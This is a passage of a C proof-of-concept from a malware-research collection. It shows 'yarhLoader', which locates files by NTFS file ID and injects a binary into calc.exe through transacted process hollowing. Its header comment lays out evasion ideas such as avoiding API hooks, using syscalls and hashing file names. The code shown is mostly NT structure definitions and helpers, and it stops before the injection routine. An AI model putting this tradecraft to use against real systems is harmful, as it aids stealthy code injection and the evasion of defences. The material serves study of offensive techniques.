mirror of
https://github.com/vxunderground/VXUG-Papers.git
synced 2024-06-16 11:58:10 +00:00
1206 lines
39 KiB
C
1206 lines
39 KiB
C
/*
|
|
oooo ooooo .o8
|
|
`888 `888' "888
|
|
oooo ooo .oooo. oooo d8b 888 .oo. 888 .ooooo. .oooo. .oooo888 .ooooo. oooo d8b
|
|
`88. .8' `P )88b `888""8P 888P"Y88b 888 d88' `88b `P )88b d88' `888 d88' `88b `888""8P
|
|
`88..8' .oP"888 888 888 888 888 888 888 .oP"888 888 888 888ooo888 888
|
|
`888' d8( 888 888 888 888 888 o 888 888 d8( 888 888 888 888 .o 888
|
|
.8' `Y888""8o d888b o888o o888o o888ooooood8 `Y8bod8P' `Y888""8o `Y8bod88P" `Y8bod8P' d888b
|
|
.o..P'
|
|
`Y8P'
|
|
*//*
|
|
|
|
yarhLoader is an x86/x64 file loader, file reader, and file writer that abuses NTFS File identifiers for file accessibility.
|
|
Traditionally any sort of file operation requires the full path to the file in question. However, it is possible to load the
|
|
file by its unique file identifier.
|
|
|
|
IMPORTANT:
|
|
|
|
This method was shown to me by Jonas Lyk. It was named 'yarhLoader' because he frequently uses 'yarh' instead
|
|
of 'yes', 'ya', 'yeah', etc. The transacted process hollowing segment was courtesy of my friend Hasherezade.
|
|
Her GitHub offers many examples on how to perform this method of process injection.
|
|
|
|
Opening a file by file id isn't completely unheard of. It *appears* to have legitimate uses. However, I have
|
|
not seen this particular method of file reading, writing, executing used before in the wild EXCEPT by Tohnichi Ransomware.
|
|
(REFERENCE TWEET: https://twitter.com/joe4security/status/1407334828501082121)
|
|
|
|
NOTES:
|
|
PRO: Can read and write a file without needing its full file path.
|
|
CON: Requires parent directory
|
|
RESOLUTION: Recursively search entire volume
|
|
|
|
CON: File IDs cannot be hardcoded. They're different on everyones machine.
|
|
PRO: Once a file is assigned a file ID it never changes.
|
|
CON: A string comparison must be performed to get the file ID (IE is this the right file?)
|
|
RESOLUTION: Can be mitigated by hashing the file name string
|
|
|
|
NOTE: I was unable to execute a binary from its FILE ID, may be possible with additional experimentation
|
|
RESOLUTION: Process injection
|
|
|
|
CON: Requires many NTAPI functions to resolve the FILE ID correctly
|
|
PRO: Can use "GetFileInformationByHandleEx" to get the FILE ID
|
|
CON: Kernel32.dll contains many API forwards, can be easily hooked
|
|
RESOLUTION: Use NTAPI exclusively, use SYSCALLs
|
|
|
|
CON: This code uses "OpenFileById" kernel32.dll function
|
|
RESOLUTION: OpenFileById forwards to NtCreateFile, use the API forward
|
|
|
|
CON: This code uses CreateProcessW
|
|
RESOLUTION: Use NtCreateProcess
|
|
|
|
NOTE: In this code example I used many NTAPI functions to demonstrate how this *could* look in malware
|
|
NOTE: This code does not resolve NTDLL via the PEB, it does not use SYSCALLs. It does not mitigate API hooks
|
|
|
|
|
|
HOW TO USE THIS:
|
|
|
|
This code dynamically assembles C:\Windows\System32 directory. It searches System32 for the unique file hash
|
|
passed to the YarhLoader function. This code uses HashStringFowlerNollVoVariant1aW for string hashing.
|
|
|
|
In this code proof of concept it searches for a binary titled "Dispose.exe" in System32. Once it finds Dispose
|
|
it launches calc.exe and uses transacted process hollowing to inject Dispose.exe into calc.exe.
|
|
|
|
You can place any binary in System32 as long as it is named Dispose.exe. Alternatively, you can use
|
|
HashStringFowlerNollVoVariant1aW to generate your own hash (on this proof of concept) to create your own
|
|
file name hash.
|
|
|
|
ULONG Hash = HashStringFowlerNollVoVariant1aW((PWCHAR)L"MyFileNameHereWithExtension.exe");
|
|
|
|
Ive compiled this using Visual Studio 2019. I have 0 errors and 0 warnings.
|
|
|
|
WHY SYSTEM32:
|
|
|
|
Experimenting. You cannot write to files in System32 if you're running at medium integrity/non admin.
|
|
I was curious if I could mitigate this. I could not. Feel free to use any directory. It does not matter.
|
|
|
|
-smelly
|
|
*/
|
|
|
|
|
|
#include <Windows.h>
|
|
#define WIN32_LEAN_AND_MEAN
|
|
|
|
#ifndef NT_SUCCESS
|
|
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
|
#endif
|
|
|
|
#define STATUS_SUCCESS 0
|
|
#define ERROR_FAILURE_NULL_BUFFER 0
|
|
#define STATUS_NO_MORE_FILES 0x80000006
|
|
#define WMAX_PATH (MAX_PATH * sizeof(WCHAR))
|
|
#define OBJ_CASE_INSENSITIVE 0x00000040
|
|
#define FILE_OPEN 0x00000001
|
|
#define FILE_OPEN_IF 0x00000003
|
|
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
|
|
|
|
typedef enum _SECTION_INHERIT
|
|
{
|
|
ViewShare = 1,
|
|
ViewUnmap = 2
|
|
|
|
} SECTION_INHERIT;
|
|
|
|
typedef struct _LSA_UNICODE_STRING {
|
|
USHORT Length;
|
|
USHORT MaximumLength;
|
|
PWSTR Buffer;
|
|
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING;
|
|
|
|
typedef struct _LDR_MODULE {
|
|
LIST_ENTRY InLoadOrderModuleList;
|
|
LIST_ENTRY InMemoryOrderModuleList;
|
|
LIST_ENTRY InInitializationOrderModuleList;
|
|
PVOID BaseAddress;
|
|
PVOID EntryPoint;
|
|
ULONG SizeOfImage;
|
|
UNICODE_STRING FullDllName;
|
|
UNICODE_STRING BaseDllName;
|
|
ULONG Flags;
|
|
SHORT LoadCount;
|
|
SHORT TlsIndex;
|
|
LIST_ENTRY HashTableEntry;
|
|
ULONG TimeDateStamp;
|
|
} LDR_MODULE, * PLDR_MODULE;
|
|
|
|
typedef struct _PEB_LDR_DATA {
|
|
ULONG Length;
|
|
ULONG Initialized;
|
|
PVOID SsHandle;
|
|
LIST_ENTRY InLoadOrderModuleList;
|
|
LIST_ENTRY InMemoryOrderModuleList;
|
|
LIST_ENTRY InInitializationOrderModuleList;
|
|
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
|
|
|
typedef struct _PEB {
|
|
BOOLEAN InheritedAddressSpace;
|
|
BOOLEAN ReadImageFileExecOptions;
|
|
BOOLEAN BeingDebugged;
|
|
BOOLEAN Spare;
|
|
HANDLE Mutant;
|
|
PVOID ImageBase;
|
|
PPEB_LDR_DATA LoaderData;
|
|
PVOID ProcessParameters;
|
|
PVOID SubSystemData;
|
|
PVOID ProcessHeap;
|
|
PVOID FastPebLock;
|
|
PVOID FastPebLockRoutine;
|
|
PVOID FastPebUnlockRoutine;
|
|
ULONG EnvironmentUpdateCount;
|
|
PVOID* KernelCallbackTable;
|
|
PVOID EventLogSection;
|
|
PVOID EventLog;
|
|
PVOID FreeList;
|
|
ULONG TlsExpansionCounter;
|
|
PVOID TlsBitmap;
|
|
ULONG TlsBitmapBits[0x2];
|
|
PVOID ReadOnlySharedMemoryBase;
|
|
PVOID ReadOnlySharedMemoryHeap;
|
|
PVOID* ReadOnlyStaticServerData;
|
|
PVOID AnsiCodePageData;
|
|
PVOID OemCodePageData;
|
|
PVOID UnicodeCaseTableData;
|
|
ULONG NumberOfProcessors;
|
|
ULONG NtGlobalFlag;
|
|
BYTE Spare2[0x4];
|
|
LARGE_INTEGER CriticalSectionTimeout;
|
|
ULONG HeapSegmentReserve;
|
|
ULONG HeapSegmentCommit;
|
|
ULONG HeapDeCommitTotalFreeThreshold;
|
|
ULONG HeapDeCommitFreeBlockThreshold;
|
|
ULONG NumberOfHeaps;
|
|
ULONG MaximumNumberOfHeaps;
|
|
PVOID** ProcessHeaps;
|
|
PVOID GdiSharedHandleTable;
|
|
PVOID ProcessStarterHelper;
|
|
PVOID GdiDCAttributeList;
|
|
PVOID LoaderLock;
|
|
ULONG OSMajorVersion;
|
|
ULONG OSMinorVersion;
|
|
ULONG OSBuildNumber;
|
|
ULONG OSPlatformId;
|
|
ULONG ImageSubSystem;
|
|
ULONG ImageSubSystemMajorVersion;
|
|
ULONG ImageSubSystemMinorVersion;
|
|
ULONG GdiHandleBuffer[0x22];
|
|
ULONG PostProcessInitRoutine;
|
|
ULONG TlsExpansionBitmap;
|
|
BYTE TlsExpansionBitmapBits[0x80];
|
|
ULONG SessionId;
|
|
} PEB, * PPEB;
|
|
|
|
typedef struct __CLIENT_ID {
|
|
HANDLE UniqueProcess;
|
|
HANDLE UniqueThread;
|
|
}CLIENT_ID, * PCLIENT_ID;
|
|
|
|
typedef PVOID PACTIVATION_CONTEXT;
|
|
|
|
typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME {
|
|
struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous;
|
|
PACTIVATION_CONTEXT ActivationContext;
|
|
ULONG Flags;
|
|
} RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME;
|
|
|
|
typedef struct _ACTIVATION_CONTEXT_STACK {
|
|
PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame;
|
|
LIST_ENTRY FrameListCache;
|
|
ULONG Flags;
|
|
ULONG NextCookieSequenceNumber;
|
|
ULONG StackId;
|
|
} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK;
|
|
|
|
typedef struct _GDI_TEB_BATCH {
|
|
ULONG Offset;
|
|
ULONG HDC;
|
|
ULONG Buffer[310];
|
|
} GDI_TEB_BATCH, * PGDI_TEB_BATCH;
|
|
|
|
typedef struct _TEB_ACTIVE_FRAME_CONTEXT {
|
|
ULONG Flags;
|
|
PCHAR FrameName;
|
|
} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT;
|
|
|
|
typedef struct _TEB_ACTIVE_FRAME {
|
|
ULONG Flags;
|
|
struct _TEB_ACTIVE_FRAME* Previous;
|
|
PTEB_ACTIVE_FRAME_CONTEXT Context;
|
|
} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME;
|
|
|
|
typedef struct _TEB
|
|
{
|
|
NT_TIB NtTib;
|
|
PVOID EnvironmentPointer;
|
|
CLIENT_ID ClientId;
|
|
PVOID ActiveRpcHandle;
|
|
PVOID ThreadLocalStoragePointer;
|
|
PPEB ProcessEnvironmentBlock;
|
|
ULONG LastErrorValue;
|
|
ULONG CountOfOwnedCriticalSections;
|
|
PVOID CsrClientThread;
|
|
PVOID Win32ThreadInfo;
|
|
ULONG User32Reserved[26];
|
|
ULONG UserReserved[5];
|
|
PVOID WOW32Reserved;
|
|
LCID CurrentLocale;
|
|
ULONG FpSoftwareStatusRegister;
|
|
PVOID SystemReserved1[54];
|
|
LONG ExceptionCode;
|
|
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
|
|
PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer;
|
|
UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)];
|
|
ULONG TxFsContext;
|
|
#elif (NTDDI_VERSION >= NTDDI_WS03)
|
|
PACTIVATION_CONTEXT_STACK ActivationContextStackPointer;
|
|
UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)];
|
|
#else
|
|
ACTIVATION_CONTEXT_STACK ActivationContextStack;
|
|
UCHAR SpareBytes1[24];
|
|
#endif
|
|
GDI_TEB_BATCH GdiTebBatch;
|
|
CLIENT_ID RealClientId;
|
|
PVOID GdiCachedProcessHandle;
|
|
ULONG GdiClientPID;
|
|
ULONG GdiClientTID;
|
|
PVOID GdiThreadLocalInfo;
|
|
PSIZE_T Win32ClientInfo[62];
|
|
PVOID glDispatchTable[233];
|
|
PSIZE_T glReserved1[29];
|
|
PVOID glReserved2;
|
|
PVOID glSectionInfo;
|
|
PVOID glSection;
|
|
PVOID glTable;
|
|
PVOID glCurrentRC;
|
|
PVOID glContext;
|
|
NTSTATUS LastStatusValue;
|
|
UNICODE_STRING StaticUnicodeString;
|
|
WCHAR StaticUnicodeBuffer[261];
|
|
PVOID DeallocationStack;
|
|
PVOID TlsSlots[64];
|
|
LIST_ENTRY TlsLinks;
|
|
PVOID Vdm;
|
|
PVOID ReservedForNtRpc;
|
|
PVOID DbgSsReserved[2];
|
|
#if (NTDDI_VERSION >= NTDDI_WS03)
|
|
ULONG HardErrorMode;
|
|
#else
|
|
ULONG HardErrorsAreDisabled;
|
|
#endif
|
|
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
|
|
PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)];
|
|
GUID ActivityId;
|
|
PVOID SubProcessTag;
|
|
PVOID EtwLocalData;
|
|
PVOID EtwTraceData;
|
|
#elif (NTDDI_VERSION >= NTDDI_WS03)
|
|
PVOID Instrumentation[14];
|
|
PVOID SubProcessTag;
|
|
PVOID EtwLocalData;
|
|
#else
|
|
PVOID Instrumentation[16];
|
|
#endif
|
|
PVOID WinSockData;
|
|
ULONG GdiBatchCount;
|
|
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
|
|
BOOLEAN SpareBool0;
|
|
BOOLEAN SpareBool1;
|
|
BOOLEAN SpareBool2;
|
|
#else
|
|
BOOLEAN InDbgPrint;
|
|
BOOLEAN FreeStackOnTermination;
|
|
BOOLEAN HasFiberData;
|
|
#endif
|
|
UCHAR IdealProcessor;
|
|
#if (NTDDI_VERSION >= NTDDI_WS03)
|
|
ULONG GuaranteedStackBytes;
|
|
#else
|
|
ULONG Spare3;
|
|
#endif
|
|
PVOID ReservedForPerf;
|
|
PVOID ReservedForOle;
|
|
ULONG WaitingOnLoaderLock;
|
|
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
|
|
PVOID SavedPriorityState;
|
|
ULONG_PTR SoftPatchPtr1;
|
|
ULONG_PTR ThreadPoolData;
|
|
#elif (NTDDI_VERSION >= NTDDI_WS03)
|
|
ULONG_PTR SparePointer1;
|
|
ULONG_PTR SoftPatchPtr1;
|
|
ULONG_PTR SoftPatchPtr2;
|
|
#else
|
|
Wx86ThreadState Wx86Thread;
|
|
#endif
|
|
PVOID* TlsExpansionSlots;
|
|
#if defined(_WIN64) && !defined(EXPLICIT_32BIT)
|
|
PVOID DeallocationBStore;
|
|
PVOID BStoreLimit;
|
|
#endif
|
|
ULONG ImpersonationLocale;
|
|
ULONG IsImpersonating;
|
|
PVOID NlsCache;
|
|
PVOID pShimData;
|
|
ULONG HeapVirtualAffinity;
|
|
HANDLE CurrentTransactionHandle;
|
|
PTEB_ACTIVE_FRAME ActiveFrame;
|
|
#if (NTDDI_VERSION >= NTDDI_WS03)
|
|
PVOID FlsData;
|
|
#endif
|
|
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
|
|
PVOID PreferredLangauges;
|
|
PVOID UserPrefLanguages;
|
|
PVOID MergedPrefLanguages;
|
|
ULONG MuiImpersonation;
|
|
union
|
|
{
|
|
struct
|
|
{
|
|
USHORT SpareCrossTebFlags : 16;
|
|
};
|
|
USHORT CrossTebFlags;
|
|
};
|
|
union
|
|
{
|
|
struct
|
|
{
|
|
USHORT DbgSafeThunkCall : 1;
|
|
USHORT DbgInDebugPrint : 1;
|
|
USHORT DbgHasFiberData : 1;
|
|
USHORT DbgSkipThreadAttach : 1;
|
|
USHORT DbgWerInShipAssertCode : 1;
|
|
USHORT DbgIssuedInitialBp : 1;
|
|
USHORT DbgClonedThread : 1;
|
|
USHORT SpareSameTebBits : 9;
|
|
};
|
|
USHORT SameTebFlags;
|
|
};
|
|
PVOID TxnScopeEntercallback;
|
|
PVOID TxnScopeExitCAllback;
|
|
PVOID TxnScopeContext;
|
|
ULONG LockCount;
|
|
ULONG ProcessRundown;
|
|
ULONG64 LastSwitchTime;
|
|
ULONG64 TotalSwitchOutTime;
|
|
LARGE_INTEGER WaitReasonBitMap;
|
|
#else
|
|
BOOLEAN SafeThunkCall;
|
|
BOOLEAN BooleanSpare[3];
|
|
#endif
|
|
} TEB, * PTEB;
|
|
|
|
typedef enum _FILE_INFORMATION_CLASS {
|
|
FileDirectoryInformation = 1,
|
|
FileFullDirectoryInformation, // 2
|
|
FileBothDirectoryInformation, // 3
|
|
FileBasicInformation, // 4
|
|
FileStandardInformation, // 5
|
|
FileInternalInformation, // 6
|
|
FileEaInformation, // 7
|
|
FileAccessInformation, // 8
|
|
FileNameInformation, // 9
|
|
FileRenameInformation, // 10
|
|
FileLinkInformation, // 11
|
|
FileNamesInformation, // 12
|
|
FileDispositionInformation, // 13
|
|
FilePositionInformation, // 14
|
|
FileFullEaInformation, // 15
|
|
FileModeInformation, // 16
|
|
FileAlignmentInformation, // 17
|
|
FileAllInformation, // 18
|
|
FileAllocationInformation, // 19
|
|
FileEndOfFileInformation, // 20
|
|
FileAlternateNameInformation, // 21
|
|
FileStreamInformation, // 22
|
|
FilePipeInformation, // 23
|
|
FilePipeLocalInformation, // 24
|
|
FilePipeRemoteInformation, // 25
|
|
FileMailslotQueryInformation, // 26
|
|
FileMailslotSetInformation, // 27
|
|
FileCompressionInformation, // 28
|
|
FileObjectIdInformation, // 29
|
|
FileCompletionInformation, // 30
|
|
FileMoveClusterInformation, // 31
|
|
FileQuotaInformation, // 32
|
|
FileReparsePointInformation, // 33
|
|
FileNetworkOpenInformation, // 34
|
|
FileAttributeTagInformation, // 35
|
|
FileTrackingInformation, // 36
|
|
FileIdBothDirectoryInformation, // 37
|
|
FileIdFullDirectoryInformation, // 38
|
|
FileValidDataLengthInformation, // 39
|
|
FileShortNameInformation, // 40
|
|
FileIoCompletionNotificationInformation, // 41
|
|
FileIoStatusBlockRangeInformation, // 42
|
|
FileIoPriorityHintInformation, // 43
|
|
FileSfioReserveInformation, // 44
|
|
FileSfioVolumeInformation, // 45
|
|
FileHardLinkInformation, // 46
|
|
FileProcessIdsUsingFileInformation, // 47
|
|
FileNormalizedNameInformation, // 48
|
|
FileNetworkPhysicalNameInformation, // 49
|
|
FileIdGlobalTxDirectoryInformation, // 50
|
|
FileIsRemoteDeviceInformation, // 51
|
|
FileUnusedInformation, // 52
|
|
FileNumaNodeInformation, // 53
|
|
FileStandardLinkInformation, // 54
|
|
FileRemoteProtocolInformation, // 55
|
|
|
|
//
|
|
// These are special versions of these operations (defined earlier)
|
|
// which can be used by kernel mode drivers only to bypass security
|
|
// access checks for Rename and HardLink operations. These operations
|
|
// are only recognized by the IOManager, a file system should never
|
|
// receive these.
|
|
//
|
|
|
|
FileRenameInformationBypassAccessCheck, // 56
|
|
FileLinkInformationBypassAccessCheck, // 57
|
|
|
|
//
|
|
// End of special information classes reserved for IOManager.
|
|
//
|
|
|
|
FileVolumeNameInformation, // 58
|
|
FileIdInformation, // 59
|
|
FileIdExtdDirectoryInformation, // 60
|
|
FileReplaceCompletionInformation, // 61
|
|
FileHardLinkFullIdInformation, // 62
|
|
FileIdExtdBothDirectoryInformation, // 63
|
|
FileDispositionInformationEx, // 64
|
|
FileRenameInformationEx, // 65
|
|
FileRenameInformationExBypassAccessCheck, // 66
|
|
FileDesiredStorageClassInformation, // 67
|
|
FileStatInformation, // 68
|
|
FileMemoryPartitionInformation, // 69
|
|
FileStatLxInformation, // 70
|
|
FileCaseSensitiveInformation, // 71
|
|
FileLinkInformationEx, // 72
|
|
FileLinkInformationExBypassAccessCheck, // 73
|
|
FileStorageReserveIdInformation, // 74
|
|
FileCaseSensitiveInformationForceAccessCheck, // 75
|
|
|
|
FileMaximumInformation
|
|
} FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS;
|
|
|
|
typedef struct _IO_STATUS_BLOCK {
|
|
union {
|
|
NTSTATUS Status;
|
|
PVOID Pointer;
|
|
};
|
|
ULONG_PTR Information;
|
|
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
|
|
|
|
typedef struct _OBJECT_ATTRIBUTES
|
|
{
|
|
ULONG Length;
|
|
PVOID RootDirectory;
|
|
PUNICODE_STRING ObjectName;
|
|
ULONG Attributes;
|
|
PVOID SecurityDescriptor;
|
|
PVOID SecurityQualityOfService;
|
|
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
|
|
|
|
typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
|
|
ULONG NextEntryOffset;
|
|
ULONG FileIndex;
|
|
LARGE_INTEGER CreationTime;
|
|
LARGE_INTEGER LastAccessTime;
|
|
LARGE_INTEGER LastWriteTime;
|
|
LARGE_INTEGER ChangeTime;
|
|
LARGE_INTEGER EndOfFile;
|
|
LARGE_INTEGER AllocationSize;
|
|
ULONG FileAttributes;
|
|
ULONG FileNameLength;
|
|
ULONG EaSize;
|
|
CCHAR ShortNameLength;
|
|
WCHAR ShortName[12];
|
|
LARGE_INTEGER FileId;
|
|
WCHAR FileName[1];
|
|
} FILE_ID_BOTH_DIR_INFORMATION, * PFILE_ID_BOTH_DIR_INFORMATION;
|
|
|
|
typedef enum _THREADINFOCLASS {
|
|
ThreadBasicInformation,
|
|
ThreadTimes,
|
|
ThreadPriority,
|
|
ThreadBasePriority,
|
|
ThreadAffinityMask,
|
|
ThreadImpersonationToken,
|
|
ThreadDescriptorTableEntry,
|
|
ThreadEnableAlignmentFaultFixup,
|
|
ThreadEventPair_Reusable,
|
|
ThreadQuerySetWin32StartAddress,
|
|
ThreadZeroTlsCell,
|
|
ThreadPerformanceCount,
|
|
ThreadAmILastThread,
|
|
ThreadIdealProcessor,
|
|
ThreadPriorityBoost,
|
|
ThreadSetTlsArrayAddress, // Obsolete
|
|
ThreadIsIoPending,
|
|
ThreadHideFromDebugger,
|
|
ThreadBreakOnTermination,
|
|
ThreadSwitchLegacyState,
|
|
ThreadIsTerminated,
|
|
ThreadLastSystemCall,
|
|
ThreadIoPriority,
|
|
ThreadCycleTime,
|
|
ThreadPagePriority,
|
|
ThreadActualBasePriority,
|
|
ThreadTebInformation,
|
|
ThreadCSwitchMon, // Obsolete
|
|
ThreadCSwitchPmu,
|
|
ThreadWow64Context,
|
|
ThreadGroupInformation,
|
|
ThreadUmsInformation, // UMS
|
|
ThreadCounterProfiling,
|
|
ThreadIdealProcessorEx,
|
|
ThreadCpuAccountingInformation,
|
|
MaxThreadInfoClass
|
|
} THREADINFOCLASS;
|
|
|
|
#define PCUNICODE_STRING PUNICODE_STRING
|
|
|
|
typedef VOID(NTAPI* PIO_APC_ROUTINE)(PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock,ULONG Reserved);
|
|
typedef NTSTATUS(NTAPI* NTQUERYDIRECTORYFILE)(HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS, BOOL, PUNICODE_STRING, BOOL);
|
|
typedef NTSTATUS(NTAPI* RTLQUERYENVIRONMENTVARIABLE_U)(PWSTR, PCUNICODE_STRING, PUNICODE_STRING);
|
|
typedef NTSTATUS(NTAPI* NTCREATESECTION)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE);
|
|
typedef NTSTATUS(NTAPI* NTMAPVIEWOFSECTION)(HANDLE, HANDLE, PVOID*, ULONG_PTR, SIZE_T, PLARGE_INTEGER, PSIZE_T, SECTION_INHERIT, ULONG, ULONG);
|
|
typedef NTSTATUS(NTAPI* NTUNMAPVIEWOFSECTION)(HANDLE, PVOID);
|
|
typedef NTSTATUS(NTAPI* NTCREATEFILE)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, ULONG, ULONG, ULONG, ULONG, PVOID, ULONG);
|
|
typedef NTSTATUS(NTAPI* NTOPENFILE)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, ULONG, ULONG);
|
|
typedef NTSTATUS(NTAPI* NTCLOSE)(HANDLE);
|
|
typedef NTSTATUS(NTAPI* NTGETCONTEXTTHREAD)(HANDLE, LPCONTEXT);
|
|
typedef NTSTATUS(NTAPI* NTSETCONTEXTTHREAD)(HANDLE, LPCONTEXT);
|
|
typedef NTSTATUS(NTAPI* NTRESUMETHREAD)(HANDLE, PULONG);
|
|
typedef NTSTATUS(NTAPI* NTQUERYINFORMATIONTHREAD)(HANDLE, THREADINFOCLASS, PVOID, ULONG, PULONG);
|
|
typedef NTSTATUS(NTAPI* NTSETINFORMATIONTHREAD)(HANDLE, THREADINFOCLASS, PVOID, ULONG);
|
|
typedef NTSTATUS(NTAPI* NTWRITEVIRTUALMEMORY)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
|
|
|
|
typedef ULONG(NTAPI* RTLNTSTATUSTODOSERROR)(NTSTATUS);
|
|
typedef PVOID(NTAPI* RTLALLOCATEHEAP)(PVOID, ULONG, SIZE_T);
|
|
typedef BOOL(NTAPI* RTLFREEHEAP)(PVOID, ULONG, PVOID);
|
|
|
|
NTQUERYDIRECTORYFILE NtQueryDirectoryFile = NULL;
|
|
NTCREATESECTION NtCreateSection = NULL;
|
|
NTMAPVIEWOFSECTION NtMapViewOfSection = NULL;
|
|
NTUNMAPVIEWOFSECTION NtUnmapViewOfSection = NULL;
|
|
NTCREATEFILE NtCreateFile = NULL;
|
|
NTOPENFILE NtOpenFile = NULL;
|
|
NTCLOSE NtClose = NULL;
|
|
NTGETCONTEXTTHREAD NtGetContextThread = NULL;
|
|
NTSETCONTEXTTHREAD NtSetContextThread = NULL;
|
|
NTRESUMETHREAD NtResumeThread = NULL;
|
|
NTQUERYINFORMATIONTHREAD NtQueryInformationThread = NULL;
|
|
NTSETINFORMATIONTHREAD NtSetInformationThread = NULL;
|
|
NTWRITEVIRTUALMEMORY NtWriteVirtualMemory = NULL;
|
|
|
|
RTLQUERYENVIRONMENTVARIABLE_U RtlQueryEnvironmentVariable_U = NULL;
|
|
RTLNTSTATUSTODOSERROR RtlNtStatusToDosError = NULL;
|
|
RTLALLOCATEHEAP RtlAllocateHeap = NULL;
|
|
RTLFREEHEAP RtlFreeHeap = NULL;
|
|
|
|
HMODULE GlobalNtHandle = NULL;
|
|
HANDLE GlobalProcessHeap = NULL;
|
|
|
|
PTEB GetTeb(VOID)
|
|
{
|
|
#if defined(_WIN64)
|
|
return (PTEB)__readgsqword(0x30);
|
|
#elif define(_WIN32)
|
|
return (PTEB)__readfsdword(0x18);
|
|
#endif
|
|
}
|
|
|
|
PPEB Peb;
|
|
PTEB Teb;
|
|
|
|
#define InitializeObjectAttributes(p,n,a,r,s) \
|
|
do { \
|
|
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
|
|
(p)->RootDirectory = r; \
|
|
(p)->Attributes = a; \
|
|
(p)->ObjectName = n; \
|
|
(p)->SecurityDescriptor = s; \
|
|
(p)->SecurityQualityOfService = NULL; \
|
|
} while (0)
|
|
|
|
|
|
VOID InternalSetLastError(DWORD ErrorCode)
|
|
{
|
|
Teb->LastErrorValue = ErrorCode;
|
|
return;
|
|
}
|
|
|
|
DWORD InternalGetLastError(VOID)
|
|
{
|
|
return Teb->LastErrorValue;
|
|
}
|
|
|
|
VOID RtlInitEmptyUnicodeString(PUNICODE_STRING UnicodeString, PWCHAR Buffer, USHORT BufferSize)
|
|
{
|
|
UnicodeString->Length = 0;
|
|
UnicodeString->MaximumLength = BufferSize;
|
|
UnicodeString->Buffer = Buffer;
|
|
}
|
|
|
|
SIZE_T StringLengthW(LPCWSTR String)
|
|
{
|
|
LPCWSTR String2;
|
|
|
|
for (String2 = String; *String2; ++String2);
|
|
|
|
return (String2 - String);
|
|
}
|
|
|
|
VOID RtlInitUnicodeString(PUNICODE_STRING DestinationString, PCWSTR SourceString)
|
|
{
|
|
SIZE_T DestSize;
|
|
|
|
if (SourceString)
|
|
{
|
|
DestSize = StringLengthW(SourceString) * sizeof(WCHAR);
|
|
DestinationString->Length = (USHORT)DestSize;
|
|
DestinationString->MaximumLength = (USHORT)DestSize + sizeof(WCHAR);
|
|
}
|
|
else
|
|
{
|
|
DestinationString->Length = 0;
|
|
DestinationString->MaximumLength = 0;
|
|
}
|
|
|
|
DestinationString->Buffer = (PWCHAR)SourceString;
|
|
}
|
|
|
|
PWCHAR StringCopyW(PWCHAR String1, PWCHAR String2)
|
|
{
|
|
PWCHAR p = String1;
|
|
|
|
while ((*p++ = *String2++) != 0);
|
|
|
|
return String1;
|
|
}
|
|
|
|
PWCHAR StringConcatW(PWCHAR String, PWCHAR String2)
|
|
{
|
|
StringCopyW(&String[StringLengthW(String)], String2);
|
|
|
|
return String;
|
|
}
|
|
|
|
ULONG HashStringFowlerNollVoVariant1aW(PWCHAR String)
|
|
{
|
|
ULONG Hash = 0x811c9dc5;
|
|
|
|
while (*String)
|
|
{
|
|
Hash ^= (UCHAR)*String++;
|
|
Hash *= 0x01000193;
|
|
}
|
|
|
|
return Hash;
|
|
}
|
|
|
|
BOOL RtlGetEnvironmentVariableAltW(LPCWSTR lpName, LPWSTR lpBuffer, DWORD Length)
|
|
{
|
|
UNICODE_STRING EnvironmentVariable = { 0 };
|
|
UNICODE_STRING ReturnedVariable = { 0 };
|
|
NTSTATUS Status = STATUS_SUCCESS;
|
|
BOOL bFlag = TRUE;
|
|
|
|
RtlInitUnicodeString(&EnvironmentVariable, lpName);
|
|
|
|
RtlInitEmptyUnicodeString(&ReturnedVariable, lpBuffer, (USHORT)Length);
|
|
|
|
Status = RtlQueryEnvironmentVariable_U(NULL, &EnvironmentVariable, &ReturnedVariable);
|
|
if (!NT_SUCCESS(Status))
|
|
bFlag = FALSE;
|
|
|
|
if(!bFlag)
|
|
InternalSetLastError(RtlNtStatusToDosError(Status));
|
|
|
|
return bFlag;
|
|
}
|
|
|
|
BOOL RtlInitGlobalApplicationData(VOID)
|
|
{
|
|
Teb = (PTEB)GetTeb();
|
|
Peb = (PPEB)Teb->ProcessEnvironmentBlock;
|
|
|
|
GlobalNtHandle = GetModuleHandleW(L"ntdll.dll");
|
|
if (GlobalNtHandle == NULL)
|
|
return FALSE;
|
|
|
|
GlobalProcessHeap = (HANDLE)Peb->ProcessHeap;
